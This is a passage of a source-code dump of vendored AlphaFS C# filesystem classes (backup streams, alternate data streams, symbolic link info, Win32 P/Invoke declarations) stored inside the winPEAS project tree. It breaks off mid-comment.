/// Determines whether the specified Object is equal to the current Object. /// Another instance to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public bool Equals(AlternateDataStreamInfo other) { return GetType() == other.GetType() && Equals(StreamName, other.StreamName) && Equals(FullPath, other.FullPath) && Equals(Size, other.Size); } /// Indicates whether this instance and a specified object are equal. /// The object to compare with the current instance. /// /// true if and this instance are the same type and represent the same value; otherwise, false. /// public override bool Equals(object obj) { return obj is AlternateDataStreamInfo && Equals((AlternateDataStreamInfo) obj); } // Implements the operator == /// A. /// B. /// The result of the operator. public static bool operator ==(AlternateDataStreamInfo left, AlternateDataStreamInfo right) { return left.Equals(right); } /// Implements the operator != /// A. /// B. /// The result of the operator. public static bool operator !=(AlternateDataStreamInfo left, AlternateDataStreamInfo right) { return !(left == right); } #endregion // Methods #region Private Methods private static string ParseStreamName(string streamName) { if (null == streamName || streamName.Length < 2) return string.Empty; if (streamName[0] != Path.StreamSeparatorChar) throw new ArgumentException(Resources.Invalid_Stream_Name, "streamName"); var sb = new StringBuilder(streamName.Length); for (int i = 1, l = streamName.Length; i < l; i++) { if (streamName[i] == Path.StreamSeparatorChar) break; sb.Append(streamName[i]); } return sb.ToString(); } #endregion // Private Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/BackupFileStream.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Text; using winPEAS._3rdParty.AlphaFS; using SecurityNativeMethods = Alphaleonis.Win32.Security.NativeMethods; namespace Alphaleonis.Win32.Filesystem { /// The provides access to data associated with a specific file or directory, including security information and alternative data streams, for backup and restore operations. /// This class uses the BackupRead, /// BackupSeek and /// BackupWrite functions from the Win32 API to provide access to the file or directory. /// public sealed class BackupFileStream : Stream { private readonly bool _canRead; private readonly bool _canWrite; private readonly bool _processSecurity; [SuppressMessage("Microsoft.Reliability", "CA2006:UseSafeHandleToEncapsulateNativeResources")] private IntPtr _context = IntPtr.Zero; /// Initializes a new instance of the class with the specified path and creation mode. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// The file will be opened for exclusive access for both reading and writing. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(string path, FileMode mode) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, FileSystemRights.Read | FileSystemRights.Write, FileShare.None, true, false, PathFormat.RelativePath), FileSystemRights.Read | FileSystemRights.Write) { } /// Initializes a new instance of the class with the specified path, creation mode and access rights. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// The file will be opened for exclusive access. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(string path, FileMode mode, FileSystemRights access) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, access, FileShare.None, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission, and additional file attributes. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. /// A constant that specifies additional file attributes. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes) : this(File.CreateFileCore(null, false, path, attributes, null, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission, additional file attributes, access control and audit security. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. /// A constant that specifies additional file attributes. /// A constant that determines the access control and audit security for the file. This parameter This parameter may be null. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes, FileSecurity security) : this(File.CreateFileCore(null, false, path, attributes, security, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path and creation mode. /// The transaction. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// The file will be opened for exclusive access for both reading and writing. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(KernelTransaction transaction, string path, FileMode mode) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, FileSystemRights.Read | FileSystemRights.Write, FileShare.None, true, false, PathFormat.RelativePath), FileSystemRights.Read | FileSystemRights.Write) { } /// Initializes a new instance of the class with the specified path, creation mode and access rights. /// The transaction. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// The file will be opened for exclusive access. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, access, FileShare.None, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission. /// The transaction. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission, and additional file attributes. /// The transaction. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. /// A constant that specifies additional file attributes. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes) : this(File.CreateFileCore(transaction, false, path, attributes, null, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class with the specified path, creation mode, access rights and sharing permission, additional file attributes, access control and audit security. /// The transaction. /// A relative or absolute path for the file that the current object will encapsulate. /// A constant that determines how to open or create the file. /// A constant that determines the access rights to use when creating access and audit rules for the file. /// A constant that determines how the file will be shared by processes. /// A constant that specifies additional file attributes. /// A constant that determines the access control and audit security for the file. This parameter This parameter may be null. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes, FileSecurity security) : this(File.CreateFileCore(transaction, false, path, attributes, security, mode, access, share, true, false, PathFormat.RelativePath), access) { } /// Initializes a new instance of the class for the specified file handle, with the specified read/write permission. /// A file handle for the file that this object will encapsulate. /// A constant that gets the and properties of the object. [SecurityCritical] public BackupFileStream(SafeFileHandle handle, FileSystemRights access) { NativeMethods.IsValidHandle(handle); SafeFileHandle = handle; _canRead = (access & FileSystemRights.ReadData) != 0; _canWrite = (access & FileSystemRights.WriteData) != 0; _processSecurity = true; } /// When overridden in a derived class, gets the length in bytes of the stream. /// This method always throws an exception. /// public override long Length { get { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); } } /// When overridden in a derived class, gets or sets the position within the current stream. /// This method always throws an exception. /// public override long Position { get { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); } set { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); } } /// When overridden in a derived class, sets the position within the current stream. /// A byte offset relative to the parameter. /// A value of type indicating the reference point used to obtain the new position. /// The new position within the current stream. /// This stream does not support seeking using this method, and calling this method will always throw . See for an alternative way of seeking forward. /// public override long Seek(long offset, SeekOrigin origin) { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); } /// When overridden in a derived class, sets the length of the current stream. /// The desired length of the current stream in bytes. /// This method is not supported by the class, and calling it will always generate a . /// public override void SetLength(long value) { throw new NotSupportedException(Resources.No_Stream_Seeking_Support); } /// Gets a value indicating whether the current stream supports reading. /// true if the stream supports reading, false otherwise. public override bool CanRead { get { return _canRead; } } /// Gets a value indicating whether the current stream supports seeking. /// This method always returns false. public override bool CanSeek { get { return false; } } /// Gets a value indicating whether the current stream supports writing. /// true if the stream supports writing, false otherwise. public override bool CanWrite { get { return _canWrite; } } /// Gets a object that represents the operating system file handle for the file that the current object encapsulates. /// A object that represents the operating system file handle for the file that /// the current object encapsulates. private SafeFileHandle SafeFileHandle { get; set; } /// Reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. /// This method will not backup the access-control list (ACL) data for the file or directory. /// /// An array of bytes. When this method returns, the buffer contains the specified byte array with the values between /// and ( + - 1) replaced by the bytes read from the /// current source. /// /// /// The zero-based byte offset in at which to begin storing the data read from the current stream. /// /// The maximum number of bytes to be read from the current stream. /// /// The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not /// currently available, or zero (0) if the end of the stream has been reached. /// /// /// /// /// /// /// public override int Read(byte[] buffer, int offset, int count) { return Read(buffer, offset, count, false); } /// When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. /// An array of bytes. When this method returns, the buffer contains the specified byte array with the values /// between and ( + - 1) replaced by the bytes read from the current source. /// The zero-based byte offset in at which to begin storing the data read from the current stream. /// The maximum number of bytes to be read from the current stream. /// Indicates whether the function will backup the access-control list (ACL) data for the file or directory. /// /// The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not /// currently available, or zero (0) if the end of the stream has been reached. /// /// /// /// /// /// [SuppressMessage("Microsoft.Security", "CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands")] [SecurityCritical] public int Read(byte[] buffer, int offset, int count, bool processSecurity) { if (buffer == null) throw new ArgumentNullException("buffer"); if (!CanRead) throw new NotSupportedException("Stream does not support reading"); if (offset + count > buffer.Length) throw new ArgumentException("The sum of offset and count is larger than the size of the buffer.", "offset"); if (offset < 0) throw new ArgumentOutOfRangeException("offset", offset, Resources.Negative_Offset); if (count < 0) throw new ArgumentOutOfRangeException("count", count, Resources.Negative_Count); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(count)) { uint numberOfBytesRead; var success = NativeMethods.BackupRead(SafeFileHandle, safeBuffer, (uint) safeBuffer.Capacity, out numberOfBytesRead, false, processSecurity, ref _context); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); // See File.GetAccessControlCore(): .CopyTo() does not work there? // 2017-06-13: Is .CopyTo() doing anything useful here? safeBuffer.CopyTo(buffer, offset, count); return (int) numberOfBytesRead; } } /// Writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. /// /// Writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. /// /// An array of bytes. This method copies bytes from to the current stream. /// The zero-based byte offset in at which to begin copying bytes to the current stream. /// The number of bytes to be written to the current stream. /// /// /// /// /// /// This method will not process the access-control list (ACL) data for the file or directory. public override void Write(byte[] buffer, int offset, int count) { Write(buffer, offset, count, false); } /// When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. /// An array of bytes. This method copies bytes from to the current stream. /// The zero-based byte offset in at which to begin copying bytes to the current stream. /// The number of bytes to be written to the current stream. /// Specifies whether the function will restore the access-control list (ACL) data for the file or directory. /// If this is true you need to specify and access when /// opening the file or directory handle. If the handle does not have those access rights, the operating system denies /// access to the ACL data, and ACL data restoration will not occur. /// /// /// /// /// [SuppressMessage("Microsoft.Security", "CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands")] [SecurityCritical] public void Write(byte[] buffer, int offset, int count, bool processSecurity) { if (buffer == null) throw new ArgumentNullException("buffer"); if (offset < 0) throw new ArgumentOutOfRangeException("offset", offset, Resources.Negative_Offset); if (count < 0) throw new ArgumentOutOfRangeException("count", count, Resources.Negative_Count); if (offset + count > buffer.Length) throw new ArgumentException(Resources.Buffer_Not_Large_Enough, "offset"); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(count)) { safeBuffer.CopyFrom(buffer, offset, count); uint bytesWritten; var success = NativeMethods.BackupWrite(SafeFileHandle, safeBuffer, (uint)safeBuffer.Capacity, out bytesWritten, false, processSecurity, ref _context); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } } /// Clears all buffers for this stream and causes any buffered data to be written to the underlying device. public override void Flush() { var success = NativeMethods.FlushFileBuffers(SafeFileHandle); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } /// Skips ahead the specified number of bytes from the current stream. /// This method represents the Win32 API implementation of BackupSeek. /// /// Applications use the method to skip portions of a data stream that cause errors. This function does not /// seek across stream headers. For example, this function cannot be used to skip the stream name. If an application /// attempts to seek past the end of a substream, the function fails, the return value indicates the actual number of bytes /// the function seeks, and the file position is placed at the start of the next stream header. /// /// /// The number of bytes to skip. /// The number of bytes actually skipped. [SecurityCritical] public long Skip(long bytes) { uint lowSought, highSought; var success = NativeMethods.BackupSeek(SafeFileHandle, NativeMethods.GetLowOrderDword(bytes), NativeMethods.GetHighOrderDword(bytes), out lowSought, out highSought, ref _context); var lastError = Marshal.GetLastWin32Error(); if (!success && lastError != Win32Errors.ERROR_SEEK) { // Error Code 25 indicates a seek error, we just skip that here. NativeError.ThrowException(lastError); } return NativeMethods.ToLong(highSought, lowSought); } /// Gets a object that encapsulates the access control list (ACL) entries for the file described by the current object. /// /// /// A object that encapsulates the access control list (ACL) entries for the file described by the current /// object. /// [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public FileSecurity GetAccessControl() { IntPtr pSidOwner, pSidGroup, pDacl, pSacl; SafeGlobalMemoryBufferHandle pSecurityDescriptor; var lastError = (int) SecurityNativeMethods.GetSecurityInfo(SafeFileHandle, SE_OBJECT_TYPE.SE_FILE_OBJECT, SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION | SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION | SECURITY_INFORMATION.LABEL_SECURITY_INFORMATION | SECURITY_INFORMATION.DACL_SECURITY_INFORMATION | SECURITY_INFORMATION.SACL_SECURITY_INFORMATION, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor); try { if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); if (null != pSecurityDescriptor && pSecurityDescriptor.IsInvalid) { pSecurityDescriptor.Close(); pSecurityDescriptor = null; throw new IOException(new Win32Exception((int) Win32Errors.ERROR_INVALID_SECURITY_DESCR).Message); } var length = SecurityNativeMethods.GetSecurityDescriptorLength(pSecurityDescriptor); var managedBuffer = new byte[length]; // .CopyTo() does not work there? if (null != pSecurityDescriptor) pSecurityDescriptor.CopyTo(managedBuffer, 0, (int) length); var fs = new FileSecurity(); fs.SetSecurityDescriptorBinaryForm(managedBuffer); return fs; } finally { if (null != pSecurityDescriptor) pSecurityDescriptor.Close(); } } /// Applies access control list (ACL) entries described by a object to the file described by the current object. /// A object that describes an ACL entry to apply to the current file. [SecurityCritical] public void SetAccessControl(ObjectSecurity fileSecurity) { File.SetAccessControlCore(null, SafeFileHandle, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath); } /// Prevents other processes from changing the while permitting read access. /// The beginning of the range to lock. The value of this parameter must be equal to or greater than zero (0). /// The range to be locked. /// /// [SecurityCritical] public void Lock(long position, long length) { if (position < 0) throw new ArgumentOutOfRangeException("position", position, new Win32Exception((int) Win32Errors.ERROR_NEGATIVE_SEEK).Message); if (length < 0) throw new ArgumentOutOfRangeException("length", length, Resources.Negative_Lock_Length); var success = NativeMethods.LockFile(SafeFileHandle, NativeMethods.GetLowOrderDword(position), NativeMethods.GetHighOrderDword(position), NativeMethods.GetLowOrderDword(length), NativeMethods.GetHighOrderDword(length)); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } /// Allows access by other processes to all or part of a file that was previously locked. /// The beginning of the range to unlock. /// The range to be unlocked. /// /// /// [SecurityCritical] public void Unlock(long position, long length) { if (position < 0) throw new ArgumentOutOfRangeException("position", position, new Win32Exception((int) Win32Errors.ERROR_NEGATIVE_SEEK).Message); if (length < 0) throw new ArgumentOutOfRangeException("length", length, Resources.Negative_Lock_Length); var success = NativeMethods.UnlockFile(SafeFileHandle, NativeMethods.GetLowOrderDword(position), NativeMethods.GetHighOrderDword(position), NativeMethods.GetLowOrderDword(length), NativeMethods.GetHighOrderDword(length)); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } /// Reads a stream header from the current . /// The stream header read from the current , or null if the end-of-file /// was reached before the required number of bytes of a header could be read. /// /// The stream must be positioned at where an actual header starts for the returned object to represent valid /// information. [SecurityCritical] public BackupStreamInfo ReadStreamInfo() { var sizeOf = Marshal.SizeOf(typeof(NativeMethods.WIN32_STREAM_ID)); using (var hBuf = new SafeGlobalMemoryBufferHandle(sizeOf)) { uint numberOfBytesRead; var success = NativeMethods.BackupRead(SafeFileHandle, hBuf, (uint) sizeOf, out numberOfBytesRead, false, _processSecurity, ref _context); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); if (numberOfBytesRead == 0) return null; if (numberOfBytesRead < sizeOf) throw new IOException(Resources.Read_Incomplete_Header); var streamID = hBuf.PtrToStructure(0); var nameLength = (uint) Math.Min(streamID.dwStreamNameSize, hBuf.Capacity); success = NativeMethods.BackupRead(SafeFileHandle, hBuf, nameLength, out numberOfBytesRead, false, _processSecurity, ref _context); lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); var name = hBuf.PtrToStringUni(0, (int) nameLength / UnicodeEncoding.CharSize); return new BackupStreamInfo(streamID, name); } } #region Disposable Members /// Releases unmanaged resources and performs other cleanup operations before the is reclaimed by garbage collection. ~BackupFileStream() { Dispose(false); } /// Releases the unmanaged resources used by the and optionally releases the managed resources. /// true to release both managed and unmanaged resources; false to release only unmanaged resources. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] protected override void Dispose(bool disposing) { if (disposing) { // If one of the constructors previously threw an exception, // than the object hasn't been initialized properly and call from finalize will fail. if (null != SafeFileHandle && !SafeFileHandle.IsInvalid) { if (_context != IntPtr.Zero) { try { uint temp; // MSDN: To release the memory used by the data structure, call BackupRead with the bAbort parameter set to TRUE when the backup operation is complete. var success = NativeMethods.BackupRead(SafeFileHandle, new SafeGlobalMemoryBufferHandle(), 0, out temp, true, false, ref _context); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } finally { _context = IntPtr.Zero; NativeMethods.CloseSafeHandle(SafeFileHandle); } } } } base.Dispose(disposing); } #endregion // Disposable Members } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/BackupStreamInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// The structure contains stream header data. /// public sealed class BackupStreamInfo { #region Fields private readonly long _streamSize; private readonly string _streamName; private readonly StreamId _streamId; private readonly StreamAttribute _streamAttribute; #endregion // Fields #region Constructor /// Initializes a new instance of the class. /// The stream ID. /// The name. internal BackupStreamInfo(NativeMethods.WIN32_STREAM_ID streamId, string name) { _streamName = name; _streamSize = (long)streamId.Size; _streamAttribute = (StreamAttribute)streamId.dwStreamAttribute; _streamId = (StreamId)streamId.dwStreamId; } #endregion // Constructor #region Public Properties /// Gets the size of the data in the substream, in bytes. /// The size of the data in the substream, in bytes. public long Size { get { return _streamSize; } } /// Gets a string that specifies the name of the alternative data stream. /// A string that specifies the name of the alternative data stream. public string Name { get { return _streamName; } } /// Gets the type of the data in the stream. /// The type of the data in the stream. public StreamId StreamType { get { return _streamId; } } /// Gets the attributes of the data to facilitate cross-operating system transfer. /// Attributes of the data to facilitate cross-operating system transfer. public StreamAttribute Attribute { get { return _streamAttribute; } } #endregion // Public Properties } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/LinkTargetInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Information about the target of a symbolic link or mount point. public class LinkTargetInfo { internal LinkTargetInfo(string substituteName, string printName) { SubstituteName = substituteName; PrintName = Path.RemoveTrailingDirectorySeparator(printName ?? Path.GetRegularPathCore(substituteName, GetFullPathOptions.None, false)); } /// The print name. public string PrintName { get; private set; } /// The substitute name. public string SubstituteName { get; private set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/SymbolicLinkTargetInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Represents information about a symbolic link. public class SymbolicLinkTargetInfo : LinkTargetInfo { internal SymbolicLinkTargetInfo(string substituteName, string printName, SymbolicLinkType type) : base(substituteName, printName) { LinkType = type; } /// Gets the type of the link. /// The type of the link. public SymbolicLinkType LinkType { get; private set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.BackupStreams.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// The BackupRead function can be used to back up a file or directory, including the security information. /// The function reads data associated with a specified file or directory into a buffer, /// which can then be written to the backup medium using the WriteFile function. /// /// /// This function is not intended for use in backing up files encrypted under the Encrypted File System. /// Use ReadEncryptedFileRaw for that purpose. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// The file. /// The buffer. /// Number of bytes to reads. /// [out] Number of bytes reads. /// true to abort. /// true to process security. /// [out] The context. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero, indicating that an I/O error occurred. To get extended error information, /// call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool BackupRead(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpBuffer, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToRead, [MarshalAs(UnmanagedType.U4)] out uint lpNumberOfBytesRead, [MarshalAs(UnmanagedType.Bool)] bool bAbort, [MarshalAs(UnmanagedType.Bool)] bool bProcessSecurity, ref IntPtr lpContext); /// The BackupSeek function seeks forward in a data stream initially accessed by using the or /// function. /// The function reads data associated with a specified file or directory into a buffer, which can then be written to the backup /// medium using the WriteFile function. /// /// /// Applications use the BackupSeek function to skip portions of a data stream that cause errors. /// This function does not seek across stream headers. For example, this function cannot be used to skip the stream name. /// If an application attempts to seek past the end of a substream, the function fails, the lpdwLowByteSeeked and /// lpdwHighByteSeeked parameters /// indicate the actual number of bytes the function seeks, and the file position is placed at the start of the next stream /// header. ///   /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// The file. /// The low bytes to seek. /// The high bytes to 